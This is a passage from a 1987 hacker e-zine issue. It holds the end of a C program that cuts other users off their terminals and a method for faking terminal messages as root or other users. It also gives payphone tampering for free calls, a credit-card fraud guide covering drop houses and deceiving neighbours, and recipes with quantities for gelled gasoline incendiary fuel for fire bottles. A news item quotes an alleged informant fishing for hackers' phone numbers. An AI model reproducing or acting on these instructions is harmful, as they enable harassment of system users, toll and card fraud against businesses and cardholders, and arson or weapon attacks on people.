if ((target = open(buf,O_WRONLY)) != EOF) {

sprintf(buf2,"stty 0 > %s",buf);

system(buf2);

printf("killed.\n");

sleep(10);

}

} /* else */

} /* if strcmp */

} /* if isprint */

} /* while */

close(fp);

/*sleep(SLEEP); */

} /* for */

}

‑‑‑‑‑ cut here ‑‑‑‑‑

‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑

2. Impersonating other users with 'write' and 'talk'

‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑

This next trick wasn't exactly a work of stupefying genius, but is a little trick (that anybody can do) that I sometimes use to amuse myself and, as with the above, annoy the hell out of my friends and enemies.

Nearly every Unix system has the 'write' program, for conversing with other logged‑in users. As a quick summary:

If you see that user 'clara' is logged in with the 'who' or 'w' command or whatever, and you wish to talk to her for some reason or another, you'd type 'write clara'. Clara then would see on her screen something like this (given that you are username 'shark'):

[3 ^G's] Message from shark on ttyi13 at 23:14 ...

You then type away at her, and whatever you type is sent to her terminal line‑by‑line. If she wanted to make it a conversation rather than a monologue, she'd type 'write shark,' you'd get a message similar to the above on your terminal, and the two of you would type away at each other to your little heart's content. If either one of you wanted to end the conversation, you would type a ^D. They would then see the characters 'EOF' on their screen, but they'd still be 'write'ing to you until they typed a ^D as well.

Now, if you're on a bigger installation you'll probably have some sort of full‑screen windowing chat program like 'talk'. My version of talk sends the following message:

Message from Talk_Daemon@tibsys at 23:14 ...

talk: connection requested by shark@tibsys.

talk: respond with: talk shark@tibsys

Anyway, here's where the fun part begins: It's quite easy to put a sample 'write' or 'talk' message into a file and then edit so that the 'from' is a different person, and the tty is listed differently. If you see that your dorky friend roger is on ttyi10 and the root also happens to be logged on on ttyi01, make the file look something like this:

[3 control‑G's] Message from root on ttyi01 at [the current time]

wackawackawackawackawacka!!!

[or a similarly confusing or rude message...]

EOF

Then, send this file to roger's terminal with:

cat filename > /dev/ttyi10

He'll get the message on his terminal and wonder what the hell the superuser is talking about. He might even 'write' back to the superuser with the intent of asking 'what the hell are you talking about?'. For maximum effectiveness, *simultaneously* send a message to root 'from' roger at the appropriate terminal with an equally strange message ‑ they'll then engage in a conversation that will go something like "what did you mean by that?" "what do you mean, what do I mean? What did *you* mean by that?" etc. A splendid time is guaranteed for all! Note that you don't have to make 'root' the perpetrator of the gag, any two currently logged‑in users who have their terminals open for messages can join in on the fun.

Similarly, you can fake a few 'talk' pages from/to two people...they will then probably start talking...although the conversation will be along the lines of "what do you want?" "you tell me." "you paged me, you tell *me." etcetera, while you laugh yourself silly or something like that.

A variation on the theme: As I said, when using 'write' you type a ^D to end the conversation, and the person you're typing at sees an 'EOF' on their screen. But you could also just *type* 'EOF', and they'd think you've quit...but you still have an open line to their terminal. Even if they later turn messages off, you still have the ability to write to their terminal. Keeping this fact in mind, anybody who knows what they're doing can write a program similar to my 'block' program above that doesn't log a user out when they appear on the system, but opens their tty as a device and keeps the file handle in memory so you can redirect to their terminal ‑ to write rude messages or to log them out or whatever ‑ at any time, until they log out.

As I said, there was no great amount of genius in the above discourse, but it's a pastime I enjoy occasionally...

‑‑ Shooting Shark

"the first fact to face is that unix was not developed with security, in any realistic sense, in mind..."

‑‑ Dennis M. Ritchie

"Oryan QUEST couldn't hack his way out of a UNIX system, let alone into one."

Making Free Local Payfone Calls

===== Phrack Magazine presents Phrack 15 =====

===== File 3 of 8 =====

*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑

*

* How to "Steal" Local Calls from Most Payphones *

*

* August 25, 1987 *

*

* By Killer Smurf and Pax Daronicus *

*

*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑*‑+‑

Most of you have seen WarGames, right? Remember the part where David was stranded in Colorado and needed to call his girlfriend in Seattle? We knew you did. If you didn't, what David done was unscrew the mouthpiece on the payphone and make some connection between the mouthpiece and the phone. Well... that was pretty close to reality except for two things... 1> Nowadays, mouthpieces are un‑unscrewable, and 2> You cannot make long distance or toll calls using that method. Maybe that DID work on older phones, but you know Ma Bell. She always has a damn cure for every thing us Phreaks do. She glued on the mouthpiece!

Now to make free local calls, you need a finishing nail. We highly recommend "6D E.G. FINISH C/H, 2 INCH" nails. These are about 3/32 of an inch in diameter and 2 inches long (of course). You also need a large size paper clip. By large we mean they are about 2 inches long (FOLDED). Then you unfold the paper clip. Unfold it by taking each piece and moving it out 90 degrees. When it is done it should look somewhat like this:

/‑‑‑‑‑‑‑‑‑‑

:

:

:

:

\‑‑‑‑

Now, on to the neat stuff. What you do, instead of unscrewing the glued‑on mouthpiece, is insert the nail into the center hole of the mouthpiece (where you talk) and push it in with pressure or just hammer it in by hitting the nail on something. Just DON'T KILL THE MOUTHPIECE! You could damage it if you insert the nail too far or at some weird angle. If this happens then the other party won't be able to hear what you say.

You now have a hole in the mouthpiece in which you can easily insert the paper clip. So, take out the nail and put in the paper clip. Then take the other end of the paper clip and shove it under the rubber cord protector at the bottom of the handset (you know, the blue guy...). This should end up looking remotely like...like this:

/‑‑‑‑‑‑‑‑‑‑Mouthpiece

:

Paper clip ‑‑> : : /

: /‑‑‑

: :

====================\‑‑‑))): To earpiece ‑>

^ ^ \‑‑‑

: :

: :

Cord Blue guy

(The paper clip is shoved under the blue guy to make a good connection between the inside of the mouthpiece and the metal cord.)

Now, dial the number of a local number you wish to call, sayyyy, MCI. If everything goes okay, it should ring and not answer with the "The Call You Have Made Requires a 20 Cent Deposit" recording. After the other end answers the phone, remove the paper clip. It's all that simple, see?

There are a couple problems, however. One is, as we mentioned earlier, the mouthpiece not working after you punch it. If this happens to you, simply move on to the next payphone. The one you are now on is lost. Another problem is that the touch tones won't work when the paper clip is in the mouthpiece. There are two ways around this.. A> Dial the first 6 numbers. This should be done without the paper clip making the connection, i.e., one side should not be connected. Then connect the paper clip, hold down the last digit, and slowly pull the paper clip out at the mouthpiece's end.

B> Don't use the paper clip at all. Keep the nail in after you punch it. Dial the first 6 digits. Before dialing the last digit, touch the nail head to the plate on the main body of the phone, the money safe thingy..then press the last number.

The reason that this method is sometimes called clear boxing is because there is another type of phone which lets you actually make the call and listen to them say "Hello, hello?" but it cuts off the mouthpiece so they can't hear you. The Clear Box is used on that to amplify your voice signals and send it through the earpiece. If you see how this is even slightly similar to the method we just described up there, kindly explain it to US!! Cause WE don't GET IT!

Anyways, this DOES work on almost all single slot, Dial Tone First payphones (Pacific Bell for sure). We do it all the time. This is the least, WE STRESS *LEAST*, risky form of Phreaking. And remember. There are other Phreaks like you out there who have read this article and punch payphones, so look before you punch, and save time.

If you feel the insane desire to have to contact us to bitch at us for some really stupid mistake in this article, you can reach us at Lunatic Labs Unltd...415/278‑7421. It should be up for quite a while..

Also, if you think of any new ideas that can be used in conjunction with this method, such as calling a wrong number on purpose and demanding your quarter back from the 0perator, tell us!! Post it on Looney!! Oh, and if this only works on Pac Bell phones, tell us also! Thanks for your time, upload this to every board you can find. You may use this material in any publication ‑ electronic, written, or otherwise without consent of the authors as long as it is reproduced in whole, with all credit to the authors (us!) and Lunatic Labs. And now, the Bullshit:

________________________________________

DISCLAIMER: This disclaimer disclaims that this article was written for your information only. Any injuries resulting from this file (punctured hands, sex organs, etc.) is NOT OUR FAULT! And of course if you get really stupidly busted in any way because of this, it ain't our fault either. You're the dumb ass with the nail. So, proceed with care, but... HELL! Have fun. Later...

________________________________________

Advanced Carding XIV

===== Phrack Magazine presents Phrack 15 =====

===== File 4 of 8 =====

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~ The Disk Jockey ~

~

~ presents: ~

~

~ Advanced Carding XIV: ~

~ Clarification of Many Credit Card Misconceptions ~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(A 2af Presentation)

Preface:

‑‑‑‑‑‑‑

After reading files that have been put out by various groups and individuals concerning carding, credit fraud, and the credit system in general, I am finding more and more that people are basing these files on ideas, rather than knowing how the system actually works. In this article I hope to enlighten you on some of the grey areas that I find most people either do not clarify, or don't know what they are talking about. I can safely say that this will be the most accurate file available dealing with credit fraud. I have worked for and against credit companies, and know how they work from the insiders point of view, and I have yet to meet someone in the modem world that knows it better.

This file is dedicated to all the phreaks/hacks that were busted for various reasons in the summer of 1987.

Obtaining Cards:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Despite popular belief, there IS a formula for Visa and Mastercard numbers. All credit card account numbers are issued by on issuing company, in this case, Visa or Mastercard. Although the banks are not aware of any type of pattern to the account numbers, there IS one that can be found. I plan to publish programs in the near future that will use the various formulas for Visa, Mastercard and American Express to create valid accounts.

Accounts:

‑‑‑‑‑‑‑‑

All that is needed to successfully use a Visa/MC account is the account number itself. I don't know how many times I have gotten into arguments with people over this, but this is the way it is. I'll expand on this.

First of all, on all Visa/MC cards, the name means NOTHING. NOTHING AT ALL. You do not need this name and address of the cardholder to successfully use the account, at no time during authorization is the name ever needed, and with over 50,000 banks, credit unions, and various other financial institutions issuing credit cards, and only 5 major credit verification services, it is impossible to keep personal data on each cardholder.

Ordering something and having it sent with the real cardholder's name is only going to make things more difficult, at best. There is no way that you can tell if the card is a normal card, or a premium (gold) card merely by looking at the account number. The only thing that can be told by the account number is the bank that issued the card, but this again, is not needed.

The expiration date means nothing. Don't believe me? Call up an authorization number and check a card and substitute 12/94, and if the account number is good, the card will pass. The expiration date is only a binary‑type check to see if the card is good, (Yes/No), it is NOT a checksum‑type check code that has to be matched up to the card account to be valid.

Carding Stupid Things:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Whenever anyone, ANYONE tries to card something for the first time, they ALWAYS want to get something for their computer. This is nice and all, but just think that every person that has ever tried to card has tried to get a hard drive and a new modem. Everyone does it, thus every single computer company out there is aware and watching for that. If I could give every single person who ever tries to card one piece of advice, it would be to NEVER order computer equipment. I know there are a hundred guys that will argue with me about it, but common sense should tell you that the merchants are going to go out of there way to check these cards.

Merchant Checking:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since I brought up merchants checking the cards, I will review the two basic ways that almost all mail‑order merchants use. Keep these in mind when designing your name, address and phone number for your drop.

The Directory Assistance Cross‑Reference:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This method is most popular because it is cheap, yet effective. You can usually tell these types of checks because during the actual order, you are asked questions such as "What is your HOME telephone number" and your billing address. Once they have this information, they can call directory assistance for your area code, say 312, and ask "May I have the phone number for a Larry Jerutis at 342 Stonegate Drive?" Of course, the operator should give a number that matches up with the one that you gave them as your home number. If it doesn't, the merchant knows that something is up. Even if it is an unlisted number, the operator will say that there is a Jerutis at that address, but the telephone number is non‑published, which is enough to satisfy the merchant. If a problem is encountered, the order goes to a special pile that is actually called and the merchant will talk to the customer directly. Many merchants have policy to not ship at all if the customer can not provide a home phone number that corresponds with the address.

The Call Back:

‑‑‑‑‑‑‑‑‑‑‑‑‑

This deals with the merchant calling you back to verify the order. This does not imply, however, that you can stand by a payphone and wait for them to call back. Waiting by a payphone is one of the stupidest things I have ever heard of, being that few, if any, places other than the pizza place will call back immediately like that. What most places will do is process your order, etc, and then call you, sometimes it's the next day, sometimes that night. It is too difficult to predict when they will call back, but if they don't get a hold of you, or only get a busy, or an answering machine, they won't send the merchandise until they speak with you voice. This method is difficult to defeat, but fortunately, due to the high cost of phone bills, the directory assistance method is preferred.

Billing Address:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This should ALWAYS be the address that you are having the stuff sent to. One of the most stupidest things that you could do to botch up a carding job would be to say something like "Well, I don't want it sent to my house, I want it sent to....", or "Well, this is my wife's card, and her name is....". These methods may work, but for the most part, only rouse suspicion on you. If the order sounds pretty straightforward, and there isn't any unusual situations, it will better the chances of the order going through.

Drop Houses:

‑‑‑‑‑‑‑‑‑‑‑

These are getting harder and harder to come by for the reasons that people are more careful then before, and that UPS is smarter, also. Your best bet is to hit somebody that just moved, and I mean JUST moved, being that UPS will not know that there is nobody at the house anymore if it is within, say, a week of their moving. It's getting to the point where in some areas, UPS won't even leave the stuff on the doorstep, due to liability on their part of doing that. The old "Leave the stuff in the shrubs while I am at work" note won't work, most people are smart enough to know that something is odd, and will more than likely leave the packages with the neighbors before they shove that hard drive in the bushes. Many places, such as Cincinnati Microwave (maker of the Escort and Passport radar detectors) require a signature when the package is dropped off, making it that much harder.

Best Bet:

‑‑‑‑‑‑‑‑

Here is the method that I use that seems to work well, despite it being a little harder to match up names and phone numbers. Go to an apartment building and go to the top floor. The trashier the place, the better. Knock on the door and ask if "Bill" is there. Of course, or at least hopefully, there will be no Bill at that address. Look surprised, then say "Well, my friend Bill gave me this address as being his." The occupants will again say "Sorry, but there is no Bill here...". Then, say that "I just moved here to go to school, and I had my parents sent me a bunch of stuff for school here, thinking that this was Bill's place." They almost always say "Oh Boy...". Then respond with "Well, if something comes, could you hold on to it for me, and I will come by in a week and see if anything came?" They will always say something to the effect of "Sure, I guess we could do that...". Thank them a million times for helping you out, then leave. A few days after your stuff comes, drop by and say, "Hi, I'm Jim, did anything come for me?". If everything was cool, it should have. The best thing to do with this is only order one or two small things, rather than an AT system with an extra monitor. People feel more comfortable about signing for something small for someone, rather than something big, being that most people naturally think that the bigger it is, the more expensive it is.

This is the best method that I know of, the apartment occupants will usually sign for the stuff, and be more than happy to help you out.

Advice:

‑‑‑‑‑‑

The thing that I can never stress enough is to not become greedy. Sure, the first shipment may come in so easy, so risk‑free that you feel as if you can do it forever. Well, you can't. Eventually, if you do it frequently enough, you will become the subject of a major investigation by the local authorities if this becomes a real habit. Despite anything that anyone ever tells you about the police being "stupid and ignorant", you better reconsider. The police force is a VERY efficient organization once they have an idea as to who is committing these crimes. They have the time and the money to catch you.

Don't do it with friends. Don't even TELL friends that you are doing it. This is the most stupid, dangerous thing that you could do. First of all, I don't care how good of friends anyone may be, but if a time came that you hated each other, this incident could be very bad for you. What could be even worse is a most common scenario: You and a friend get a bunch of stuff, very successfully. You tell a few friends at school, either you or him have to tell only one person and it gets all over. Anyways, there is ALWAYS some type of informant in every high‑school. Be it a teacher, son or daughter of a cop, or whatever, there is always a leak in every high school. The police decide to investigate, and find that it is becoming common knowledge that you and/or your friend have ways of getting stuff for "free" via the computer. Upon investigation, they call in your friend, and tell him that they have enough evidence to put out a warrant for his arrest, and that they might be able to make a deal with him. If he gives a complete confession, and be willing to testify against your in court, they will let him off with only paying the restitution (paying for the stuff you got). Of course, just about anyone is going to think about themselves, which is understandable, and you will get the raw end of the deal. Don't let anyone ever tell you that as a minor, you won't get in any trouble, because you can and will. If you are really uncooperative, they may have you tried as an adult, which would really put you up the creek, and even as a juvenile, you are eligible to receive probation, fines, court costs, and just about anything else the judge wants to do with you. All this boils down to is to not tell anyone anything, and try not to do it with anyone.

Well, that should about wrap up this file. I hope this clears up some misconceptions about carding. I am on many boards, and am always open to any comments/suggestions/threats that anyone might have. I can always be reached on The Free World II (301‑668‑7657) or Lunatic Labs (415‑278‑7421).

Good luck.

Gelled Flame Fuels

===== Phrack Magazine presents Phrack 15 =====

===== File 5 of 8 =====

GELLED FLAME FUELS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A text phile typed by Elric of Imrryr from the book: Improvised Munitions Handbook (TM 31‑210), published by the Dept of the Army, 1969.

All information is provided only for information purposes only. Construction and/or use may violate local, state, and/or federal laws. (Unless your name is Ollie North)

Gelled or paste type fuels are often preferable to raw gasoline for use in incendiary devices such as fire bottles. This type fuel adheres more readily to the target and produces greater heat concentration.

Several methods are shown for gelling gasoline using commonly available materials. The methods are divided into the following categories based on the major ingredient:

1. Lye Systems

2. Lye‑Alcohol Systems

3. Soap‑Alcohol Systems

4. Egg White Systems

6. Wax Systems

Lye Systems

Lye (also know as caustic soda or Sodium Hydroxide) can be used in combination with powdered rosin or castor oil to gel gasoline for use as a flame fuel which will adhere to target surfaces.

MATERIALS REQUIRED:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Parts by Volume Ingredient How Used Common Source

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

60 Gasoline Motor Fuel Gas station or motor vehicle

2 (flake) or Lye Drain cleaner, Food store or Drug store 1 (powder) making of soap

15 Rosin Manufacturing Paint store, chemical supply

Paint & Varnish house

or

Castor Oil Medicine Food and Drug stores

PROCEDURE

‑‑‑‑‑‑‑‑‑

________________________________________

|CAUTION: Make sure that there are no open flames in the area when mixing |

|the flame fuel. NO SMOKING!

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Pour gasoline into jar, bottle or other container. (DO NOT USE AN ALUMINUM CONTAINER.)

2. IF rosin is in cake form, crush into small pieces.

3. Add rosin or castor oil to the gasoline and stir for about five minutes to mix thoroughly.

4. In a second container (NOT ALUMINUM) add lye to an equal volume of water slowly with stirring.

________________________________________

|CAUTION: Lye solution can burn skin and destroy clothing. If any is | |spilled, wash away immediately with large quantities of water. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5. Add lye solution to the gasoline mix and stir until mixture thickens (about one minute).

NOTE: The sample will eventually thicken to a very firm paste. This can be thinned, if desired, by stirring in additional gasoline.

Lye‑Alcohol Systems

Lye (also know as caustic soda or Sodium Hydroxide) can be used in combination with alcohol and any of several fats to gel gasoline for use as a flame fuel.

MATERIALS REQUIRED:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Parts by Volume Ingredient How Used Common Source

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

60 Gasoline Motor Fuel Gas station or motor vehicle

2 (flake) or Lye Drain cleaner, Food store or Drug store 1 (powder) making of soap

3 Ethyl Alcohol Whiskey Liquor store

Medicine Drug store

NOTE: Methyl (wood) alcohol or isopropyl (rubbing) alcohol can be substituted for ethyl alcohol, but their use produces softer gels.

14 Tallow Food Fats rendered by cooking the

Making of soap meat or suet of animals.

NOTE: The following can be substituted for the tallow:

(a) Wool grease (Lanolin) (very good) ‑‑ Fat extracted from sheep wool (b) Castor Oil (good)

(c) Any vegetable oil (corn, cottonseed, peanut, linseed, etc.) (d) Any fish oil

(e) Butter or oleo margarine

It is necessary when using substitutes (c) to (e) to double the given amount of fat and of lye for satisfactory body.

PROCEDURE

‑‑‑‑‑‑‑‑‑

________________________________________

|CAUTION: Make sure that there are no open flames in the area when mixing |

|the flame fuel. NO SMOKING!

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Pour gasoline into jar, bottle or other container. (DO NOT USE AN ALUMINUM CONTAINER.)

2. Add tallow (or substitute) to the gasoline and stir for about 1/2 minute to dissolve fat.

3. Add alcohol to the gasoline mixture. Mix thoroughly.

4. In a separate container (NOT ALUMINUM) slowly add lye to an equal volume of water. Mixture should be stirred constantly while adding lye.

________________________________________

|CAUTION: Lye solution can burn skin and destroy clothing. If any is | |spilled, wash away immediately with large quantities of water. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5. Add lye solution to the gasoline mixture and stir occasionally until thickened (about 1/2 hour)

NOTE: The sample will eventually (1 to 2 days) thicken to a very firm paste. This can be thinned, if desired, by stirring in additional gasoline.

Soap‑Alcohol System

Common household soap can be used in combination with alcohol to gel gasoline for use as a flame fuel which will adhere to target surfaces.

MATERIALS REQUIRED:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Parts by Volume Ingredient How Used Common Source

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

36 Gasoline Motor Fuel Gas station or motor vehicle

1 Ethyl Alcohol Whiskey Liquor store

Medicine Drug store

NOTE: Methyl (wood) alcohol or isopropyl (rubbing) alcohol can be substituted for ethyl alcohol.

20 (powdered) or Laundry soap Washing clothes Stores

28 (flake)

NOTE: Unless the word "soap" actually appears somewhere on the container or wrapper, a washing compound is probably a detergent. THESE CAN NOT BE USED.

PROCEDURE

‑‑‑‑‑‑‑‑‑

________________________________________

|CAUTION: Make sure that there are no open flames in the area when mixing |

|the flame fuel. NO SMOKING!

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. If bar soap is used, carve into thin flakes using a knife.

2. Pour Alcohol and gasoline into a jar, bottle or other container and mix thoroughly.

3. Add soap powder or flakes to gasoline‑alcohol mix and stir occasionally until thickened (about 15 minutes).

Egg System

The white of any bird egg can be used to gel gasoline for use as a flame fuel.

MATERIALS REQUIRED:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Parts by Volume Ingredient How Used Common Source

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

85 Gasoline Motor Fuel Gas station or motor vehicle

14 Egg Whites Food Food store, farms

Any one of the following

1 Table Salt Food, industrial Sea Water, Natural brine,

processes Food stores

3 Ground Coffee Food Food store

3 Dried Tea Food Food store Leaves

3 Cocoa Food Food store

2 Sugar Food Food store

1 Saltpeter Pyrotechnics Drug store (Niter) Explosives chemical supply store (Potassium Matches Nitrate) Medicine

1 Epsom salts Medicine Drug store, food store

industrial

processes

2 Washing soda Washing cleaner Food store (Sal soda) Medicine Drug store

Photography Photo supply store

1 1/2 Baking soda Baking Food store

Manufacturing: Drug store

Beverages,

Mineral waters,

and Medicine

1 1/2 Aspirin Medicine Drug store

Food store

PROCEDURE

‑‑‑‑‑‑‑‑‑

________________________________________

|CAUTION: Make sure that there are no open flames in the area when mixing |

|the flame fuel. NO SMOKING!

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Separate egg white from yolk. This can be done by breaking the egg into a dish and carefully removing the yolk with a spoon.

________________________________________

|NOTE: DO NOT GET THE YELLOW EGG YOLK MIXED INTO THE EGG WHITE. If egg yolk|

|gets into the egg white, discard the egg. |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. Pour egg white into a jar, bottle, or other container and add gasoline.

3. Add the salt (or other additive) to the mixture and stir occasionally until gel forms (about 5 to 10 minutes).

NOTE: A thicker flame fuel can be obtained by putting the capped jar in hot (65 C) water for about 1/2 hour and then letting them cool to room temperature. (DO NOT HEAT THE GELLED FUEL CONTAINING COFFEE).

Wax System

Any of several common waxes can be used to gel gasoline for use as a flame fuel.

MATERIALS REQUIRED:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Parts by Volume Ingredient How Used Common Source

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

80 Gasoline Motor Fuel Gas station or motor vehicle

20 Wax Leather polish, Food store, drug store, (Ozocerite, sealing wax, department store Mineral wax, candles,

fossil wax, waxed paper, ceresin wax furniture & beeswax) floor waxes,

lithographing.

PROCEDURE

‑‑‑‑‑‑‑‑‑

1. Melt the wax and pour into jar or bottle which has been placed in a hot water bath.

2. Add gasoline to the bottle.

3. When wax has completely dissolved in the gasoline, allow the water bath to cool slowly to room temperature.

NOTE: If a gel does not form, add additional wax (up to 40% by volume) and repeat the above steps. If no gel forms with 40% wax, make a Lye solution by dissolving a small amount of Lye (Sodium Hydroxide) in an equal amount of water. Add this solution (1/2% by volume) to the gasoline wax mix and shake bottle until a gel forms.

Well, that's it, I omitted a few things because they where either redundant, or more aimed toward battle field conditions. Be careful, don't get caught, and have fun...

PWN I

PWN ^*^ PWN ^*^ PWN { Final Issue } PWN ^*^ PWN ^*^ PWN

^*^

PWN Phrack World News PWN ^*^ Issue XV: Part One ^*^

PWN PWN

^*^ Created, Written, and Edited ^*^ PWN by Knight Lightning PWN

^*^

PWN ^*^ PWN ^*^ PWN { Final Issue } PWN ^*^ PWN ^*^ PWN

Welcome to my final issue of Phrack World News. Many people are wondering why I am giving it up. There are several reasons, but the most important is that I will be going to college and will have little (if any) time for the phreak/hack world or PWN. I doubt I will even be calling any bulletin boards, but I may make an occasional call to a few of my friends in the community.

The Phrack Inc. VMS is no longer in service and messages will not be received there by anyone. Phrack Inc. is now in the hands of Sir Francis Drake, Elric Of Imrryr, and Shooting Shark.

:Knight Lightning

________________________________________

Dan The Operator; Informant July 27, 1986

~~~~~~~~~~~~~~~~~~~~~~~~~~~

I'm going to assume that all of you have read PWN 14/2 and the details surrounding SummerCon '87.

This article will feature information collected from our investigation and quotes from the Noah Tape.

The tape actually has two parts. The front side has part of an Alliance Teleconference in which Noah attempted to gather information by engineering hackers. Side B contains 45 minutes of a conversation between Noah and John Maxfield of BoardScan, in which Noah tried to engineer Maxfield into giving him information on certain hackers by trading him information on other hackers. All of this has been going on for a long time although we are unsure as to how long and Noah was not exactly an informant for Maxfield, it was the FBI.

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Part One: Noah Engineers his "friends"

The Alliance teleconference recording has about 7 people on it, but the only people I recognized were Dan The Operator, Il Duce (Fiber Optic), Johnny Rotten, and The Ninja.

The topics discussed (mostly by Noah) included;

Bill From RNOC / Catch‑22 / Doom Prophet / Force Hackers / John Maxfield Karl Marx / Legion of Doom / Lord Rebel / Neba / Phantom Phreaker Phucked Agent 04 / Silver Spy / SummerCon '87 / The Rebel / The Videosmith

Here is a look at some of the conversation; [Il Duce=Mark]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: SILVER SPY, you know him?

Mark: Yeah, what about him?

Noah: Yeah, Paul.

[This was done to make it look like Noah knew him and was his buddy.‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: Anyway, is LORD REBEL part of LOD?

Mark: He's not really.

Noah: I didn't think so.

Mark: Well, he is, he is sort of.

Noah: Ah, well what does he know.

Mark: Not much.

Noah: Why do they care about him, he's just a pirate.

[Look at this dork! First he tries to act like he knows everything and then when he realizes he screwed up, he tries to insult LORD REBEL's abilities.‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: Who else is part of LOD that I missed?

Mark: I don't know who you would have heard of.

Noah: I've pretty much heard of everyone, I just can't think of anyone else.

[Yeah Noah, you are a regular best friend with everyone in LOD.‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: Want to give out LORD REBEL's number?

Mark: Everybody knows it already.

Noah: What is it?

Mark: Which one?

Noah: Both, all.

Mark: Want do you want to know for, don't you have it?

Noah: Never bothered getting them. What do you got? Mark!

Mark: Yeah.

Noah: Do you have his number?

Mark: Yeah.

Noah: Well, what is it!?

Mark: Why should I say?

Noah: I dunno, you say everyone's got it.

Mark: Yeah, so.

Noah: So if everyone has it, you might as well give it to everybody. Mark: Not really, I wouldn't want to be the one to tell him that I gave out his number.

Noah: Ok Mark, fine, it's no problem for me to get anyone's number. I got VIDEOSMITH's and SILVER SPY's, no problem. [Yeah right, see the other conversation with John Maxfield.‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: CATCH‑22 is supposed to be the most elite BBS in the United States. What do you think about that Mark?

Mark: What?

Noah: What do you think about that Mark?

Mark: About what?

Noah: About CATCH‑22.

Mark: What about it?

Noah: (pause) Well.

Mark: Its not the greatest board because it's not really that active. Noah: Right, but what do you think about it? Alright, first off here, first off, first off, do you have KARL MARX's number?

Mark: What?

Noah: I doubt you have KARL MARX's phone number.

Mark: Ask me if I really care.

Noah: I'm just wondering if YOU DO.

Mark: It's one thing to have all these people's numbers, it's another if you are welcome to call them.

Noah: Yeah (pause), well are you?

Mark: Why should I say?

Noah: I dunno, I dunno. I'm probably going to ask him anyways.

[I don't think my ragging is even necessary in this excerpt.‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: Here is what MAXFIELD says, "You got the hackers, and then you got the people who want to make money off the hackers." Information shouldn't be free, you should find out things on your own.

[Give me a break Noah, you are the BIGGEST leach I have ever seen ‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

